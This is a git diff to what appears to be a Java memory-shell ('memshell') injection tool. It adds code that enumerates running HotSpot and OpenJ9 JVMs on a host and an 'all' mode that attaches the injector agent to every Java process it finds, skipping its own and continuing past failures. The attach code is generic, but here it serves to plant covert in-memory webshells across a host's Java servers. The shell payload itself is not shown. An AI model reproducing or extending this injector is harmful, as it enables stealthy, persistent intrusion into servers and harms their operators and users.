+ * + * @param file The PerfData file to parse. + * @return The value of {@code sun.rt.javaCommand}, or empty string if not found. + */ + private static String parsePerfData(File file) { + FileInputStream fis = null; + try { + fis = new FileInputStream(file); + long fileLength = file.length(); + if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) { + return ""; + } + byte[] data = new byte[(int) fileLength]; + int totalRead = 0; + int bytesRead; + while (totalRead < data.length + && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) { + totalRead += bytesRead; + } + if (totalRead < MIN_PERFDATA_SIZE) { + return ""; + } + + ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead); + // Magic number is always stored in big-endian + buffer.order(ByteOrder.BIG_ENDIAN); + int magic = buffer.getInt(); // offset 0 + if (magic != PERFDATA_MAGIC) { + return ""; + } + + byte byteOrder = buffer.get(); // offset 4 + if (byteOrder == 1) { + buffer.order(ByteOrder.LITTLE_ENDIAN); + } + + byte majorVersion = buffer.get(); // offset 5 + buffer.get(); // offset 6: minor version + buffer.get(); // offset 7: accessible / reserved + + if (majorVersion < 2) { + // Only PerfData v2 format is supported + return ""; + } + + // v2 prologue fields + buffer.getInt(); // offset 8: used + buffer.getInt(); // offset 12: overflow + buffer.getLong(); // offset 16: mod_time_stamp + int entryOffset = buffer.getInt(); // offset 24: entry_offset + int numEntries = buffer.getInt(); // offset 28: num_entries + + // Iterate through PerfData entries + int pos = entryOffset; + for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) { + buffer.position(pos); + int entryLength = buffer.getInt(); + if (entryLength <= 0 || pos + entryLength > totalRead) { + break; + } + + int nameOffset = buffer.getInt(); + buffer.getInt(); // vector_length + buffer.get(); // data_type + buffer.get(); // flags + byte dataUnits = buffer.get(); // data_units + buffer.get(); // data_variability + int dataOffset = buffer.getInt(); + + // Read the entry name (null-terminated UTF-8 string) + int nameStart = pos + nameOffset; + if (nameStart < 0 || nameStart >= totalRead) { + pos += entryLength; + continue; + } + int nameEnd = nameStart; + while (nameEnd < totalRead && data[nameEnd] != 0) { + nameEnd++; + } + String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8"); + + if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) { + // Read the string value + int dataStart = pos + dataOffset; + if (dataStart < 0 || dataStart >= totalRead) { + return ""; + } + int dataEnd = dataStart; + while (dataEnd < totalRead && data[dataEnd] != 0) { + dataEnd++; + } + return new String(data, dataStart, dataEnd - dataStart, "UTF-8"); + } + + pos += entryLength; + } + + return ""; + } catch (Exception ignored) { + return ""; + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + + /** + * Checks if a string consists entirely of digit characters. + * + * @param str The string to check. + * @return {@code true} if the string is non-empty and contains only digits. + */ + private static boolean isNumeric(String str) { + if (str == null || str.isEmpty()) { + return false; + } + for (int i = 0; i < str.length(); i++) { + if (str.charAt(i) < '0' || str.charAt(i) > '9') { + return false; + } + } + return true; + } + + /** + * Extracts the main class name from a {@code sun.rt.javaCommand} value. + * The value format is typically {@code "mainClass arg1 arg2 ..."} or + * {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the + * first space-delimited token. + * + * @param javaCommand The full Java command string. + * @return The main class or JAR name, or empty string if input is empty. + */ + private static String extractMainClass(String javaCommand) { + if (javaCommand == null || javaCommand.isEmpty()) { + return ""; + } + int spaceIndex = javaCommand.indexOf(' '); + return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand; + } + } + + /** + * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories + * and reading {@code attachInfo} property files. + */ + private static class OpenJ9ProcessDiscovery { + + /** + * The directory name used by OpenJ9 for attach API information. + */ + private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach"; + + /** + * The file name containing process attach information within each VM directory. + */ + private static final String ATTACH_INFO_FILE = "attachInfo"; + + /** + * Discovers all OpenJ9 JVM processes visible to the current user. + * + * @return A list of discovered OpenJ9 Java process descriptors. + */ + static List discover() { + List result = new ArrayList(); + for (File attachDir : getAttachDirectories()) { + if (!attachDir.isDirectory()) { + continue; + } + File[] vmDirs = attachDir.listFiles(); + if (vmDirs == null) { + continue; + } + for (File vmDir : vmDirs) { + if (!vmDir.isDirectory()) { + continue; + } + File attachInfo = new File(vmDir, ATTACH_INFO_FILE); + if (!attachInfo.isFile() || !attachInfo.canRead()) { + continue; + } + FileInputStream fis = null; + try { + Properties props = new Properties(); + fis = new FileInputStream(attachInfo); + props.load(fis); + String pid = props.getProperty("processId"); + String displayName = props.getProperty("displayName", ""); + if (pid != null && pid.length() > 0) { + result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9")); + } + } catch (Exception ignored) { + /* do nothing */ + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + } + return result; + } + + /** + * Returns the list of directories to scan for OpenJ9 attach information. + * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp} + * and also {@code java.io.tmpdir} if it differs. Additionally checks the + * {@code com.ibm.tools.attach.directory} system property. + * + * @return A list of attach directories to scan. + */ + private static List getAttachDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME)); + } else { + dirs.add(new File("/tmp", ATTACH_DIR_NAME)); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME)); + } + } + String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory"); + if (ibmAttachDir != null) { + dirs.add(new File(ibmAttachDir)); + } + return dirs; + } + } } diff --git a/memshell-agent/memshell-agent-attacher/src/main/java/Main.java b/memshell-agent/memshell-agent-attacher/src/main/java/Main.java index e25bf1b5..d8fe27da 100644 --- a/memshell-agent/memshell-agent-attacher/src/main/java/Main.java +++ b/memshell-agent/memshell-agent-attacher/src/main/java/Main.java @@ -1,9 +1,46 @@ +import java.util.List; + /** * @author ReaJason * @since 2025/5/16 */ public class Main { + /** + * java -jar attach.jar — 列出所有 Java 进程 + * java -jar attach.jar — 注入指定进程 + * java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程) + */ public static void main(String[] args) throws Exception { - Attacher.attach(args[0]); + if (args.length == 0) { + List processes = Attacher.listJavaProcesses(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (Attacher.JavaProcessDescriptor process : processes) { + System.out.println(process); + } + } + } else if ("all".equalsIgnoreCase(args[0])) { + List processes = Attacher.listJavaProcesses(); + String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (Attacher.JavaProcessDescriptor process : processes) { + if (process.getPid().equals(currentPid)) { + continue; + } + try { + System.out.println("Attaching to " + process + " ..."); + Attacher.attach(process.getPid()); + System.out.println(" -> Success"); + } catch (Exception e) { + System.out.println(" -> Failed: " + e.getMessage()); + } + } + } + } else { + Attacher.attach(args[0]); + } } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java index 3729bbca..8d82b422 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java @@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/* */ import java.io.File; +import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -22,13 +23,12 @@ import java.net.MalformedURLException; import java.net.URISyntaxException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; import java.security.CodeSource; import java.security.PrivilegedAction; import java.security.ProtectionDomain; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Collections; -import java.util.List; +import java.util.*; /** * Copy from Byte Buddy @@ -53,24 +53,54 @@ public class Attacher { } public static void main(String[] args) throws Exception { - try { - Attacher.attach(args[0]); - } catch (Exception e) { - if (!e.getMessage().equals("0")) { - Throwable cause = e.getCause(); - if (cause != null) { - if (!cause.getMessage().equals("0")) { - cause = e.getCause(); - if (cause != null) { - if (!cause.getMessage().equals("0")) { - throw e; - } - } + if (args.length == 0) { + List processes = listJavaProcesses(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (JavaProcessDescriptor process : processes) { + System.out.println(process); + } + } + } else if ("all".equalsIgnoreCase(args[0])) { + List processes = listJavaProcesses(); + String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (JavaProcessDescriptor process : processes) { + if (process.getPid().equals(currentPid)) { + continue; + } + try { + System.out.println("Attaching to " + process + " ..."); + doAttach(process.getPid()); + System.out.println(" -> Success"); + } catch (Exception e) { + System.out.println(" -> Failed: " + e.getMessage()); + e.printStackTrace(); } } } + } else { + doAttach(args[0]); + System.out.println("ok"); + } + } + + private static void doAttach(String processId) { + try { + Attacher.attach(processId); + } catch (Exception e) { + Throwable currentCause = e; + while (currentCause != null) { + if ("0".equals(currentCause.getMessage())) { + return; + } + currentCause = currentCause.getCause(); + } + throw (RuntimeException) e; } - System.out.println("ok"); } /** @@ -112,6 +142,30 @@ public class Attacher { install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); } + /** + *

+ * Lists all discoverable Java processes on the local host. + * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux. + *

+ * + * @return A list of discovered Java process descriptors. + */ + public static List listJavaProcesses() { + List processes = new ArrayList(); + Set seenPids = new HashSet(); + for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + return processes; + } + /** * Installs a Java agent on a target VM. * @@ -949,4 +1003,300 @@ public class Attacher { } } } + + /** + * Represents a discovered Java process on the local host. + */ + public static class JavaProcessDescriptor { + + private final String pid; + private final String mainClass; + private final String vmType; + + public JavaProcessDescriptor(String pid, String mainClass, String vmType) { + this.pid = pid; + this.mainClass = mainClass; + this.vmType = vmType; + } + + public String getPid() { + return pid; + } + + public String getMainClass() { + return mainClass; + } + + public String getVmType() { + return vmType; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append(pid); + if (mainClass.length() > 0) { + sb.append(' ').append(mainClass); + } + sb.append(" (").append(vmType).append(')'); + return sb.toString(); + } + } + + /** + * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_} directories. + */ + private static class HotSpotProcessDiscovery { + + private static final int PERFDATA_MAGIC = 0xcafec0c0; + private static final String HSPERFDATA_PREFIX = "hsperfdata_"; + private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand"; + private static final byte UNITS_STRING = 5; + private static final int MAX_PERFDATA_SIZE = 1024 * 1024; + private static final int MIN_PERFDATA_SIZE = 32; + private static final int ENTRY_HEADER_SIZE = 20; + + static List discover() { + List result = new ArrayList(); + Set seen = new HashSet(); + for (File tmpDir : getTempDirectories()) { + if (!tmpDir.isDirectory()) { + continue; + } + File[] userDirs = tmpDir.listFiles(); + if (userDirs == null) { + continue; + } + for (File userDir : userDirs) { + if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) { + continue; + } + File[] pidFiles = userDir.listFiles(); + if (pidFiles == null) { + continue; + } + for (File pidFile : pidFiles) { + String fileName = pidFile.getName(); + if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) { + continue; + } + if (!seen.add(fileName)) { + continue; + } + String javaCommand = parsePerfData(pidFile); + result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot")); + } + } + } + return result; + } + + private static List getTempDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"))); + } else { + dirs.add(new File("/tmp")); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir)); + } + } + return dirs; + } + + private static String parsePerfData(File file) { + FileInputStream fis = null; + try { + fis = new FileInputStream(file); + long fileLength = file.length(); + if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) { + return ""; + } + byte[] data = new byte[(int) fileLength]; + int totalRead = 0; + int bytesRead; + while (totalRead < data.length + && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) { + totalRead += bytesRead; + } + if (totalRead < MIN_PERFDATA_SIZE) { + return ""; + } + + ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead); + buffer.order(ByteOrder.BIG_ENDIAN); + int magic = buffer.getInt(); + if (magic != PERFDATA_MAGIC) { + return ""; + } + + byte byteOrder = buffer.get(); + if (byteOrder == 1) { + buffer.order(ByteOrder.LITTLE_ENDIAN); + } + + byte majorVersion = buffer.get(); + buffer.get(); // minor version + buffer.get(); // accessible / reserved + + if (majorVersion < 2) { + return ""; + } + + buffer.getInt(); // used + buffer.getInt(); // overflow + buffer.getLong(); // mod_time_stamp + int entryOffset = buffer.getInt(); + int numEntries = buffer.getInt(); + + int pos = entryOffset; + for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) { + buffer.position(pos); + int entryLength = buffer.getInt(); + if (entryLength <= 0 || pos + entryLength > totalRead) { + break; + } + + int nameOffset = buffer.getInt(); + buffer.getInt(); // vector_length + buffer.get(); // data_type + buffer.get(); // flags + byte dataUnits = buffer.get(); + buffer.get(); // data_variability + int dataOffset = buffer.getInt(); + + int nameStart = pos + nameOffset; + if (nameStart < 0 || nameStart >= totalRead) { + pos += entryLength; + continue; + } + int nameEnd = nameStart; + while (nameEnd < totalRead && data[nameEnd] != 0) { + nameEnd++; + } + String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8"); + + if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) { + int dataStart = pos + dataOffset; + if (dataStart < 0 || dataStart >= totalRead) { + return ""; + } + int dataEnd = dataStart; + while (dataEnd < totalRead && data[dataEnd] != 0) { + dataEnd++; + } + return new String(data, dataStart, dataEnd - dataStart, "UTF-8"); + } + + pos += entryLength; + } + + return ""; + } catch (Exception ignored) { + return ""; + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + + private static boolean isNumeric(String str) { + if (str == null || str.isEmpty()) { + return false; + } + for (int i = 0; i < str.length(); i++) { + if (str.charAt(i) < '0' || str.charAt(i) > '9') { + return false; + } + } + return true; + } + + private static String extractMainClass(String javaCommand) { + if (javaCommand == null || javaCommand.isEmpty()) { + return ""; + } + int spaceIndex = javaCommand.indexOf(' '); + return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand; + } + } + + /** + * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories. + */ + private static class OpenJ9ProcessDiscovery { + + private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach"; + private static final String ATTACH_INFO_FILE = "attachInfo"; + + static List discover() { + List result = new ArrayList(); + for (File attachDir : getAttachDirectories()) { + if (!attachDir.isDirectory()) { + continue; + } + File[] vmDirs = attachDir.listFiles(); + if (vmDirs == null) { + continue; + } + for (File vmDir : vmDirs) { + if (!vmDir.isDirectory()) { + continue; + } + File attachInfo = new File(vmDir, ATTACH_INFO_FILE); + if (!attachInfo.isFile() || !attachInfo.canRead()) { + continue; + } + FileInputStream fis = null; + try { + Properties props = new Properties(); + fis = new FileInputStream(attachInfo); + props.load(fis); + String pid = props.getProperty("processId"); + String displayName = props.getProperty("displayName", ""); + if (pid != null && pid.length() > 0) { + result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9")); + } + } catch (Exception ignored) { + /* do nothing */ + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + } + return result; + } + + private static List getAttachDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME)); + } else { + dirs.add(new File("/tmp", ATTACH_DIR_NAME)); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME)); + } + } + String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory"); + if (ibmAttachDir != null) { + dirs.add(new File(ibmAttachDir)); + } + return dirs; + } + } }